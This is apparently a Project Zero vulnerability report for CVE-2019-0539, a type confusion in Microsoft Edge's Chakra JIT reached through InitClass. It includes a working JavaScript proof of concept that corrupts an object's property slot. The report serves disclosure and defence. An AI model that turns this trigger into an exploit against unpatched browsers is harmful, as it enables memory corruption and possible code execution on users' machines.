Microsoft Edge: Chakra: JIT: Type confusion via InitClass
CVE-2019-0539
This is similar to <a href="/p/project-zero/issues/detail?id=1702" title="Microsoft Edge: Chakra: JIT: Type confusion via NewScObjectNoCtor or InitProto" class="closed_ref" rel="nofollow"> issue 1702 </a>. This time, it uses an InitClass instruction to reach the SetIsPrototype method.
function opt(o, c, value) {
o.b = 1;
class A extends c {
}
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}
let o = {a: 1, b: 2};
let cons = function () {};
cons.prototype = o;
opt(o, cons, 0x1234);
print(o.a);
}
main();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Found by: lokihardt